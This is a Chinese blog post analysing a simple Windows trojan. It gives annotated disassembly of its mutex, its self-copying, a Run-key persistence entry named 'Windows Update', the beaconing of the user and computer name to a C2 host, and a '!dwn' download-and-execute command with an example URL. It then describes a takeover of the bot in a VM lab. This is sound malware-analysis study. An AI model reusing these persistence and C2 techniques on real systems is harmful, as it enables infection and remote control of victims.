IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    [原]一个简单木马分析及接管利用

    wangqiuyun发表于 2014-06-28 13:37:27
    love 0

    最近一段时间,感觉工作很是杂乱无章,博客也基本没时间来写,基本每月一篇,其实每写一篇也代表目前我自己的工作状态及内容。最近搞逆向这一块,找了些样本分析例子,自己也研究了一下,感觉有不少好东西,当然这些样本很多都过时了,甚至淘汰了,但对于学习而言还是有点用处,这里介绍一个简单木马分析及其接管利用。

    本文分析的木马样本来自吾爱破解论坛,早之前2010年时就有人分析过:http://www.52pojie.cn/forum.php?mod=viewthread&tid;=63874,我这里再进一步完善分析并接管利用,样本技术含量不怎样,新手可以参考学习,高手请绕过,下面开始!

    一、样本分析

    先大体上说一说这个样本的功能,其实很简单,感染后在本地开一个后门,向远端服务器请求指令,可以下载指定的url文件并执行,也可以清理自身。OD载入后,上来就是五个call:

    004014B5 > $  E8 C7FFFFFF   call winvv.00401481                      ;  创建互斥对象,防止重复感染
    004014BA   .  E8 D3FBFFFF   call winvv.00401092                      ;  拷贝自身到系统CSIDL_APPDATA路径
    004014BF   .  E8 EAFCFFFF   call winvv.004011AE                      ;  添加启动项
    004014C4   >  E8 0CFFFFFF   call winvv.004013D5                      ;  获取本机用户名及计算机名,post到远端
    004014C9   .  E8 71FFFFFF   call winvv.0040143F                      ;  请求远端服务器,接收远端指令并执行相应操作
    004014CE   .  68 60EA0000   push 0xEA60                              ; /Timeout = 60000. ms
    004014D3   .  E8 40000000   call                ; \Sleep
    004014D8   .^ EB EA         jmp Xwinvv.004014C4
    004014DA   .  6A 00         push 0x0                                 ; /ExitCode = 0x0
    004014DC   .  E8 13000000   call          ; \ExitProcess


    其中,后两个call循环执行,隔60秒执行一次,下面分别跟进去说一下:

    1、创建名为"H1N1Bot"的Mutex对象,防止重复感染

    00401481  /$  55            push ebp
    00401482  |.  8BEC          mov ebp,esp
    00401484  |.  83C4 FC       add esp,-0x4
    00401487  |.  68 BB304000   push setup.004030BB                      ; /MutexName = "H1N1Bot"
    0040148C  |.  6A 00         push 0x0                                 ; |InitialOwner = FALSE
    0040148E  |.  6A 00         push 0x0                                 ; |pSecurity = NULL
    00401490  |.  E8 59000000   call         ; \CreateMutexA
    00401495  |.  8945 FC       mov [local.1],eax
    00401498  |.  E8 63000000   call         ; [GetLastError
    0040149D  |.  3D B7000000   cmp eax,0xB7
    004014A2  |.  74 02         je Xsetup.004014A6
    004014A4  |.  C9            leave
    004014A5  |.  C3            retn
    004014A6  |>  FF75 FC       push [local.1]                           ; /hObject
    004014A9  |.  E8 34000000   call          ; \CloseHandle
    004014AE  |.  6A 00         push 0x0                                 ; /ExitCode = 0x0
    004014B0  \.  E8 3F000000   call          ; \ExitProcess

    2、获取当前系统CSIDL_APPDATA路径,如:C:\Documents and Settings\Administrator\Local Settings\Applicaton Data.并在后追加文件名"\winvv.exe",然后与当前进程镜象路径对比,如果当前进程不是winvv.exe,则复制当前文件到"CSIDL_APPDATA\winvv.exe",然后运行winvv.exe,并退出本进程

    00401092  /$  55            push ebp
    00401093  |.  8BEC          mov ebp,esp
    00401095  |.  81C4 FCFDFFFF add esp,-0x204
    0040109B  |.  68 00010000   push 0x100                               ; /Length = 100 (256.)
    004010A0  |.  8D85 00FFFFFF lea eax,[local.64]                       ; |
    004010A6  |.  50            push eax                                 ; |Destination
    004010A7  |.  E8 66040000   call        ; \RtlZeroMemory
    004010AC  |.  68 00010000   push 0x100                               ; /Length = 100 (256.)
    004010B1  |.  8D85 00FEFFFF lea eax,[local.128]                      ; |
    004010B7  |.  50            push eax                                 ; |Destination
    004010B8  |.  E8 55040000   call        ; \RtlZeroMemory
    004010BD  |.  68 00010000   push 0x100                               ; /BufSize = 100 (256.)
    004010C2  |.  8D85 00FFFFFF lea eax,[local.64]                       ; |
    004010C8  |.  50            push eax                                 ; |PathBuffer
    004010C9  |.  6A 00         push 0x0                                 ; |hModule = NULL
    004010CB  |.  E8 36040000   call   ; \GetModuleFileNameA
    004010D0  |.  8D85 00FEFFFF lea eax,[local.128]
    004010D6  |.  50            push eax
    004010D7  |.  6A 00         push 0x0
    004010D9  |.  6A 00         push 0x0
    004010DB  |.  6A 1C         push 0x1C
    004010DD  |.  6A 00         push 0x0
    004010DF  |.  E8 7C040000   call 
    004010E4  |.  68 60304000   push setup.00403060                      ; /StringToAdd = "\winvv.exe"
    004010E9  |.  8D85 00FEFFFF lea eax,[local.128]                      ; |
    004010EF  |.  50            push eax                                 ; |ConcatString
    004010F0  |.  E8 35040000   call             ; \lstrcatA
    004010F5  |.  8D85 00FEFFFF lea eax,[local.128]                      ;  C:\Documents and Settings\Administrator\Local Settings\Application Data\winvv.exe
    004010FB  |.  50            push eax                                 ; /String2
    004010FC  |.  8D85 00FFFFFF lea eax,[local.64]                       ; |
    00401102  |.  50            push eax                                 ; |String1
    00401103  |.  E8 28040000   call             ; \lstrcmpA
    00401108  |.  83F8 00       cmp eax,0x0                              ;  比较路径
    0040110B  |.  74 6B         je Xsetup.00401178
    0040110D  |.  6A 00         push 0x0                                 ; /FailIfExists = FALSE
    0040110F  |.  8D85 00FEFFFF lea eax,[local.128]                      ; |
    00401115  |.  50            push eax                                 ; |NewFileName
    00401116  |.  8D85 00FFFFFF lea eax,[local.64]                       ; |
    0040111C  |.  50            push eax                                 ; |ExistingFileName
    0040111D  |.  E8 C6030000   call            ; \CopyFileA
    00401122  |.  68 00010000   push 0x100                               ; /Length = 100 (256.)
    00401127  |.  8D85 00FFFFFF lea eax,[local.64]                       ; |
    0040112D  |.  50            push eax                                 ; |Destination
    0040112E  |.  E8 DF030000   call        ; \RtlZeroMemory
    00401133  |.  8D85 00FFFFFF lea eax,[local.64]
    00401139  |.  50            push eax
    0040113A  |.  6A 00         push 0x0
    0040113C  |.  6A 00         push 0x0
    0040113E  |.  6A 1C         push 0x1C
    00401140  |.  6A 00         push 0x0
    00401142  |.  E8 19040000   call 
    00401147  |.  8D05 60304000 lea eax,dword ptr ds:[0x403060]
    0040114D  |.  40            inc eax
    0040114E  |.  8985 FCFDFFFF mov [local.129],eax
    00401154  |.  6A 00         push 0x0                                 ; /IsShown = 0x0
    00401156  |.  8D85 00FFFFFF lea eax,[local.64]                       ; |
    0040115C  |.  50            push eax                                 ; |DefDir
    0040115D  |.  6A 00         push 0x0                                 ; |Parameters = NULL
    0040115F  |.  FFB5 FCFDFFFF push [local.129]                         ; |FileName
    00401165  |.  68 6B304000   push setup.0040306B                      ; |Operation = "open"
    0040116A  |.  6A 00         push 0x0                                 ; |hWnd = NULL
    0040116C  |.  E8 F5030000   call         ; \ShellExecuteA
    00401171  |.  6A 00         push 0x0                                 ; /ExitCode = 0x0
    00401173  |.  E8 7C030000   call          ; \ExitProcess
    00401178  |>  C9            leave
    00401179  \.  C3            retn

    3、把winvv.exe添加进启动项"Software\Microsoft\Windows\CurrentVersion\Run\"中,项名为"Windows Update"

    004011AE  /$  55            push ebp
    004011AF  |.  8BEC          mov ebp,esp
    004011B1  |.  81C4 F8FEFFFF add esp,-0x108
    004011B7  |.  68 00010000   push 0x100                               ; /Length = 100 (256.)
    004011BC  |.  8D85 F8FEFFFF lea eax,[local.66]                       ; |
    004011C2  |.  50            push eax                                 ; |Destination
    004011C3  |.  E8 4A030000   call        ; \RtlZeroMemory
    004011C8  |.  68 00010000   push 0x100                               ; /BufSize = 100 (256.)
    004011CD  |.  8D85 F8FEFFFF lea eax,[local.66]                       ; |
    004011D3  |.  50            push eax                                 ; |PathBuffer
    004011D4  |.  6A 00         push 0x0                                 ; |hModule = NULL
    004011D6  |.  E8 2B030000   call   ; \GetModuleFileNameA
    004011DB  |.  8D45 FC       lea eax,[local.1]
    004011DE  |.  50            push eax                                 ; /pHandle
    004011DF  |.  6A 02         push 0x2                                 ; |Access = KEY_SET_VALUE
    004011E1  |.  6A 00         push 0x0                                 ; |Reserved = 0x0
    004011E3  |.  68 70304000   push winvv.00403070                      ; |Subkey = "Software\Microsoft\Windows\CurrentVersion\Run\"
    004011E8  |.  68 01000080   push 0x80000001                          ; |hKey = HKEY_CURRENT_USER
    004011ED  |.  E8 8C030000   call        ; \RegOpenKeyExA
    004011F2  |.  83F8 00       cmp eax,0x0
    004011F5  |.  75 2D         jnz Xwinvv.00401224
    004011F7  |.  8D85 F8FEFFFF lea eax,[local.66]                       ;  获取当前进程镜像的路径长度
    004011FD  |.  50            push eax                                 ; /String
    004011FE  |.  E8 39030000   call             ; \lstrlenA
    00401203  |.  50            push eax                                 ; /BufSize
    00401204  |.  8D85 F8FEFFFF lea eax,[local.66]                       ; |
    0040120A  |.  50            push eax                                 ; |Buffer
    0040120B  |.  6A 01         push 0x1                                 ; |ValueType = REG_SZ
    0040120D  |.  6A 00         push 0x0                                 ; |Reserved = 0x0
    0040120F  |.  68 9F304000   push winvv.0040309F                      ; |ValueName = "Windows Update"
    00401214  |.  FF75 FC       push [local.1]                           ; |hKey
    00401217  |.  E8 68030000   call       ; \RegSetValueExA
    0040121C  |.  FF75 FC       push [local.1]                           ; /hObject
    0040121F  |.  E8 BE020000   call          ; \CloseHandle
    00401224  |>  C9            leave
    00401225  \.  C3            retn

    4、Call 004013D5:获取本机用户名及计算机名,post到远端服务器:http://mmmbsbt.co.cc/admin/bot.php?mode=2&ident;=AdministratorVMWARE

    004013D5  /$  55            push ebp
    004013D6  |.  8BEC          mov ebp,esp
    004013D8  |.  83C4 FC       add esp,-0x4
    004013DB  |.  6A 40         push 0x40                                ; /Protect = PAGE_EXECUTE_READWRITE
    004013DD  |.  68 00100000   push 0x1000                              ; |AllocationType = MEM_COMMIT
    004013E2  |.  68 00020000   push 0x200                               ; |Size = 200 (512.)
    004013E7  |.  6A 00         push 0x0                                 ; |Address = NULL
    004013E9  |.  E8 30010000   call         ; \VirtualAlloc
    004013EE  |.  8945 FC       mov [local.1],eax
    004013F1  |.  C700 6D6F6465 mov dword ptr ds:[eax],0x65646F6D        ;  填充mode=2&ident;=
    004013F7  |.  83C0 04       add eax,0x4
    004013FA  |.  C700 3D322669 mov dword ptr ds:[eax],0x6926323D
    00401400  |.  83C0 04       add eax,0x4
    00401403  |.  C700 64656E74 mov dword ptr ds:[eax],0x746E6564
    00401409  |.  83C0 04       add eax,0x4
    0040140C  |.  C600 3D       mov byte ptr ds:[eax],0x3D
    0040140F  |.  40            inc eax
    00401410  |.  50            push eax
    00401411  |.  50            push eax
    00401412  |.  E8 74FFFFFF   call winvv.0040138B                      ;  获取当前系统用户名,并返回用户名长度
    00401417  |.  8BC8          mov ecx,eax
    00401419  |.  58            pop eax                                  ;  eax = 用户名后地址
    0040141A  |.  03C1          add eax,ecx                              ;  此时buffer内容为mode=2&ident;=Administrator
    0040141C  |.  50            push eax
    0040141D  |.  50            push eax
    0040141E  |.  E8 8DFFFFFF   call winvv.004013B0                      ;  获取计算机名,并追加到buffer中,返回计算机名长度
    00401423  |.  FF75 FC       push [local.1]                           ;  此时buffer内容为mode=2&ident;=AdministratorVMWARE
    00401426  |.  FF75 FC       push [local.1]
    00401429  |.  E8 D2FBFFFF   call winvv.00401000                      ;  发送post请求
    0040142E  |.  68 00800000   push 0x8000                              ; /FreeType = MEM_RELEASE
    00401433  |.  6A 00         push 0x0                                 ; |Size = 0x0
    00401435  |.  FF75 FC       push [local.1]                           ; |Address
    00401438  |.  E8 E7000000   call          ; \VirtualFree
    0040143D  |.  C9            leave
    0040143E  \.  C3            retn

    4.1、Call 0040138B:获取当前系统用户名及长度

    0040138B  /$  55            push ebp
    0040138C  |.  8BEC          mov ebp,esp
    0040138E  |.  83C4 FC       add esp,-0x4
    00401391  |.  C745 FC 00010>mov [local.1],0x100
    00401398  |.  8D45 FC       lea eax,[local.1]
    0040139B  |.  50            push eax                                 ; /pBufCount
    0040139C  |.  FF75 08       push [arg.1]                             ; |Buffer
    0040139F  |.  E8 CE010000   call         ; \GetUserNameA
    004013A4  |.  FF75 08       push [arg.1]                             ; /String
    004013A7  |.  E8 90010000   call             ; \lstrlenA
    004013AC  |.  C9            leave
    004013AD  \.  C2 0400       retn 0x4

    4.2、Call 004013B0:获取计算机名及长度

    004013B0  /$  55            push ebp
    004013B1  |.  8BEC          mov ebp,esp
    004013B3  |.  83C4 FC       add esp,-0x4
    004013B6  |.  C745 FC 00010>mov [local.1],0x100
    004013BD  |.  8D45 FC       lea eax,[local.1]
    004013C0  |.  50            push eax                                 ; /pBufferSize
    004013C1  |.  FF75 08       push [arg.1]                             ; |Buffer
    004013C4  |.  E8 31010000   call     ; \GetComputerNameA
    004013C9  |.  FF75 08       push [arg.1]                             ; /String
    004013CC  |.  E8 6B010000   call             ; \lstrlenA
    004013D1  |.  C9            leave
    004013D2  \.  C2 0400       retn 0x4

    4.3、Call 00401000:发送Post请求到http://mmmbsbt.co.cc/admin/bot.php?mode=参数

    00401000  /$  55            push ebp
    00401001  |.  8BEC          mov ebp,esp
    00401003  |.  6A 00         push 0x0
    00401005  |.  6A 00         push 0x0
    00401007  |.  6A 00         push 0x0
    00401009  |.  6A 00         push 0x0
    0040100B  |.  68 58304000   push winvv.00403058                      ;  ASCII "myAgent"
    00401010  |.  E8 3F050000   call         ;  打开
    00401015  |.  6A 01         push 0x1
    00401017  |.  6A 00         push 0x0
    00401019  |.  6A 03         push 0x3
    0040101B  |.  6A 00         push 0x0
    0040101D  |.  6A 00         push 0x0
    0040101F  |.  6A 50         push 0x50
    00401021  |.  68 4A304000   push winvv.0040304A                      ;  ASCII "mmmbsbt.co.cc"
    00401026  |.  50            push eax
    00401027  |.  E8 22050000   call      ;  建立连接
    0040102C  |.  6A 00         push 0x0
    0040102E  |.  6A 00         push 0x0
    00401030  |.  6A 00         push 0x0
    00401032  |.  6A 00         push 0x0
    00401034  |.  6A 00         push 0x0
    00401036  |.  68 37304000   push winvv.00403037                      ;  ASCII "admin/bot.php"
    0040103B  |.  68 45304000   push winvv.00403045                      ;  ASCII "POST"
    00401040  |.  50            push eax
    00401041  |.  E8 FC040000   call      ;  打开请求
    00401046  |.  A3 AE304000   mov dword ptr ds:[0x4030AE],eax
    0040104B  |.  FF75 08       push [arg.1]                             ; /请求参数
    0040104E  |.  E8 E9040000   call             ; \lstrlenA
    00401053  |.  50            push eax
    00401054  |.  FF75 08       push [arg.1]
    00401057  |.  6A 2F         push 0x2F
    00401059  |.  68 00304000   push winvv.00403000                      ;  ASCII "Content-Type: application/x-www-form-urlencoded"
    0040105E  |.  FF35 AE304000 push dword ptr ds:[0x4030AE]
    00401064  |.  E8 DF040000   call      ;  发送请求
    00401069  |.  68 00020000   push 0x200                               ; /Length = 200 (512.)
    0040106E  |.  FF75 0C       push [arg.2]                             ; |Destination
    00401071  |.  E8 9C040000   call        ; \RtlZeroMemory
    00401076  |.  68 B2304000   push winvv.004030B2
    0040107B  |.  68 00020000   push 0x200
    00401080  |.  FF75 0C       push [arg.2]
    00401083  |.  FF35 AE304000 push dword ptr ds:[0x4030AE]
    00401089  |.  E8 CC040000   call      ;  读取服务器响应
    0040108E  |.  C9            leave
    0040108F  \.  C2 0800       retn 0x8

    5、请求远端服务器:http://mmmbsbt.co.cc/admin/bot.php?mode=1,接收远端指令并执行相应操作

    0040143F  /$  55            push ebp
    00401440  |.  8BEC          mov ebp,esp
    00401442  |.  83C4 FC       add esp,-0x4
    00401445  |.  6A 40         push 0x40                                ; /Protect = PAGE_EXECUTE_READWRITE
    00401447  |.  68 00100000   push 0x1000                              ; |AllocationType = MEM_COMMIT
    0040144C  |.  68 00020000   push 0x200                               ; |Size = 200 (512.)
    00401451  |.  6A 00         push 0x0                                 ; |Address = NULL
    00401453  |.  E8 C6000000   call         ; \VirtualAlloc
    00401458  |.  8945 FC       mov [local.1],eax
    0040145B  |.  FF75 FC       push [local.1]
    0040145E  |.  68 30304000   push winvv.00403030                      ;  ASCII "mode=1"
    00401463  |.  E8 98FBFFFF   call winvv.00401000                      ;  发送post请求
    00401468  |.  FF75 FC       push [local.1]
    0040146B  |.  E8 DEFEFFFF   call winvv.0040134E                      ;  处理返回指令
    00401470  |.  68 00800000   push 0x8000                              ; /FreeType = MEM_RELEASE
    00401475  |.  6A 00         push 0x0                                 ; |Size = 0x0
    00401477  |.  FF75 FC       push [local.1]                           ; |Address
    0040147A  |.  E8 A5000000   call          ; \VirtualFree
    0040147F  |.  C9            leave
    00401480  \.  C3            retn

    5.1、Call 00401000:发送Post请求如4.3

    5.2、Call 0040134E:处理服务器返回的指令

    0040134E  /$  55            push ebp
    0040134F  |.  8BEC          mov ebp,esp
    00401351  |.  8B45 08       mov eax,[arg.1]
    00401354  |.  8038 00       cmp byte ptr ds:[eax],0x0                ;  比较第一个byte是否为0x0,16进制ascii码低高位
    00401357  |.  74 18         je Xwinvv.00401371
    00401359  |.  8138 2164776E cmp dword ptr ds:[eax],0x6E776421        ;  比较第一个dword是否为!dwn
    0040135F  |.  74 14         je Xwinvv.00401375
    00401361  |.  8138 21636C6F cmp dword ptr ds:[eax],0x6F6C6321        ;  比较第一个dword是否为!clo
    00401367  |.  74 14         je Xwinvv.0040137D
    00401369  |.  8138 2172656D cmp dword ptr ds:[eax],0x6D657221        ;  比较第一个dword是否为!rem
    0040136F  |.  74 13         je Xwinvv.00401384
    00401371  |>  C9            leave
    00401372  |.  C2 0400       retn 0x4
    00401375  |>  50            push eax
    00401376  |.  E8 26FFFFFF   call winvv.004012A1                      ;  处理!dwn指令
    0040137B  |.^ EB F4         jmp Xwinvv.00401371
    0040137D  |>  E8 C4FFFFFF   call winvv.00401346                      ;  处理!clo指令
    00401382  |.^ EB ED         jmp Xwinvv.00401371
    00401384  |>  E8 F1FDFFFF   call winvv.0040117A                      ;  处理!rem指令
    00401389  \.^ EB F2         jmp Xwinvv.0040137D

    5.2.1、Call 004012A1:处理"!dwn"指令,用于下载执行文件

    格式:!dwn EXE_URL_Address File_Save_Path Optional_param (如:!dwn http://mmmbsbt.co.cc:8088/admin/1.exe c:\\1.exe kkkk)

    从第一个参数为要下载文件的url;第二个参数为要下载文件在本地保存的路径;第三个参数为附加参数,主要用于辨别该文件在本地是否已经下载,第一次下载时会保存起来。

    004012A1  /$  55            push ebp
    004012A2  |.  8BEC          mov ebp,esp
    004012A4  |.  83C4 F8       add esp,-0x8
    004012A7  |.  FF75 08       push [arg.1]                             ; /String
    004012AA  |.  E8 8D020000   call             ; \取得指令数据包长度
    004012AF  |.  83F8 05       cmp eax,0x5                              ;  指令数据包长度小于5则跳出
    004012B2  |.  0F8E 8A000000 jle winvv.00401342
    004012B8  |.  6A 05         push 0x5
    004012BA  |.  FF75 08       push [arg.1]
    004012BD  |.  E8 A9FFFFFF   call winvv.0040126B                      ;  获取指令参数,就是!dwn之类指令后面的参数
    004012C2  |.  6A 20         push 0x20
    004012C4  |.  FF75 08       push [arg.1]
    004012C7  |.  E8 5AFFFFFF   call winvv.00401226                      ;  在参数中寻找空格的位置截取一个参数
    004012CC  |.  0345 08       add eax,[arg.1]
    004012CF  |.  C600 00       mov byte ptr ds:[eax],0x0
    004012D2  |.  40            inc eax
    004012D3  |.  8945 FC       mov [local.1],eax
    004012D6  |.  50            push eax                                 ; /String
    004012D7  |.  E8 60020000   call             ; \lstrlenA
    004012DC  |.  83F8 00       cmp eax,0x0
    004012DF  |.  74 61         je Xwinvv.00401342                       ;  如果无参数了则跳出
    004012E1  |.  6A 20         push 0x20
    004012E3  |.  FF75 FC       push [local.1]
    004012E6  |.  E8 3BFFFFFF   call winvv.00401226                      ;  在参数中寻找空格的位置截取第二个参数
    004012EB  |.  0345 FC       add eax,[local.1]
    004012EE  |.  C600 00       mov byte ptr ds:[eax],0x0
    004012F1  |.  40            inc eax
    004012F2  |.  50            push eax
    004012F3  |.  50            push eax                                 ; /String
    004012F4  |.  E8 43020000   call             ; \lstrlenA
    004012F9  |.  83F8 00       cmp eax,0x0
    004012FC  |.  74 44         je Xwinvv.00401342                       ;  如果无参数了则跳出
    004012FE  |.  58            pop eax
    004012FF  |.  50            push eax
    00401300  |.  68 B6304000   push winvv.004030B6                      ; /全局变量初始为"0000"
    00401305  |.  50            push eax                                 ; |String1
    00401306  |.  E8 25020000   call             ; \lstrcmpA
    0040130B  |.  83F8 00       cmp eax,0x0
    0040130E  |.  74 32         je Xwinvv.00401342                       ;  如果最后一个参数和全局变量比较一样则跳出
    00401310  |.  58            pop eax
    00401311  |.  50            push eax                                 ; /String2
    00401312  |.  68 B6304000   push winvv.004030B6                      ; |String1 = winvv.004030B6
    00401317  |.  E8 1A020000   call             ; \把最后那个参数复制到全局变量中
    0040131C  |.  6A 00         push 0x0
    0040131E  |.  6A 00         push 0x0
    00401320  |.  FF75 FC       push [local.1]
    00401323  |.  FF75 08       push [arg.1]
    00401326  |.  6A 00         push 0x0                                 ;  根据参数准备下载执行文件
    00401328  |.  E8 3F020000   call 
    0040132D  |.  6A 01         push 0x1                                 ; /IsShown = 0x1
    0040132F  |.  6A 00         push 0x0                                 ; |DefDir = NULL
    00401331  |.  6A 00         push 0x0                                 ; |Parameters = NULL
    00401333  |.  FF75 FC       push [local.1]                           ; |FileName
    00401336  |.  68 6B304000   push winvv.0040306B                      ; |Operation = "open"
    0040133B  |.  6A 00         push 0x0                                 ; |hWnd = NULL
    0040133D  |.  E8 24020000   call         ; \ShellExecuteA
    00401342  |>  C9            leave
    00401343  \.  C2 0400       retn 0x4

    5.2.2、Call 00401346:处理"!clo"指令,样本进程退出

    00401346  /$  6A 00         push 0x0                                 ; /ExitCode = 0x0
    00401348  \.  E8 A7010000   call          ; \ExitProcess
    0040134D   .  C3            retn

    5.2.3、Call 0040117A:处理"!rem"指令,删除样本的注册表启动项"Windows Update",并退出样本进程

    0040117A  /$  55            push ebp
    0040117B  |.  8BEC          mov ebp,esp
    0040117D  |.  83C4 FC       add esp,-0x4
    00401180  |.  8D45 FC       lea eax,[local.1]
    00401183  |.  50            push eax                                 ; /pHandle
    00401184  |.  6A 02         push 0x2                                 ; |Access = KEY_SET_VALUE
    00401186  |.  6A 00         push 0x0                                 ; |Reserved = 0x0
    00401188  |.  68 70304000   push winvv.00403070                      ; |Subkey = "Software\Microsoft\Windows\CurrentVersion\Run\"
    0040118D  |.  68 01000080   push 0x80000001                          ; |hKey = HKEY_CURRENT_USER
    00401192  |.  E8 E7030000   call        ; \RegOpenKeyExA
    00401197  |.  68 9F304000   push winvv.0040309F                      ; /ValueName = "Windows Update"
    0040119C  |.  FF75 FC       push [local.1]                           ; |hKey
    0040119F  |.  E8 D4030000   call      ; \RegDeleteValueA
    004011A4  |.  FF75 FC       push [local.1]                           ; /hObject
    004011A7  |.  E8 36030000   call          ; \CloseHandle
    004011AC  |.  C9            leave
    004011AD  \.  C3            retn

    二、接管利用

    分析至此,咱们都很清楚这个样本是怎么运作了,接下来我们准备开始接管利用,基本思路就是架设一个web服务器提供给样本访问,并提供相应指令给样本执行。

    1、运行环境,我这里使用vm虚拟机,系统为XP sp3;

    2、关于域名劫持,样本访问的远端域名为mmmbsbt.co.cc,我们得想本法把它转走,最简单就是通过修改hosts文件,我这里使用了一个叫apateDNS的工具,把所有域名都转向本地127.0.0.1,如下图;

    3、关于php服务器,我这里在网上找了一个小巧的web服务器EasyWebSvr1.9,然后配置php环境。

    1). 到http://www.php.net网站下载PHP的安装包,如php-5.2.4-Win32.zip(建议用php5)
    2). 解压到硬盘某个目录,如C:\PHP5.2.4
    3). 把目录下的php.ini-recommended改名为php.ini
    4). 在桌面--我的电脑--右键--属性--高级--环境变量,在系统变量中找到Path行,
    点编辑,在原来的变量值最后增加C:\PHP5.2.4,注意用分号分隔,确定。
    5). 在EasyWebServer中点右键菜单--设置--映射,点添加按钮,
    在“添加/编辑脚本映射”对话框中,扩展名栏输入php,并指定可执行文件(即解释器)
    在c:\php5中有2个解释器文件,
    一个是CGI版的:c:\php5\php-cgi.exe
    另一个是ISAPI版的:c:\php5\php5isapi.dll
    这两个随便选择一个都可以,但推荐使用ISAPI版的。确定。
    6). 在”常规“选项卡下设置主目录及端口,最后启动服务器,访问localhost,应该就可以看到效果了

    4、php脚本编写,很简单,主要是bot.php,获取post过来的参数内容,然后写到一个txt中,再echo指令,我这只示范!dwn,代码如下:

    试着访问下如图:


    5、接着我们要准备一个可执行文件给样本进行下载执行,其实可以同样用上面那个web服务器,但是我这它的文件下载出了点问题,所以我又找了一个叫babyweb的小服务器,架设了一个服务器提供文件下载,下载的文件可以随便是一个exe之类的可执行文件,我这用一个helloword程序,架设我完毕如下图:



    6、万事具备,接下来就是运行样本,一转眼后发现成功了:

    三、总结

    至此接管利用成功,基本思路就是域名劫持,然后web服务器提供指令及下载文件,主要是指令格式那要搞清楚,目前mmmbsbt.co.cc早已经失效,我第一步分析的时候其实就是架设web服务器提供指令一步步跟出来的,其他的点各位还有思路可以再搞搞。

    转载请注明:http://blog.csdn.net/wangqiuyun/article/details/35547765



沪ICP备19023445号-2号
友情链接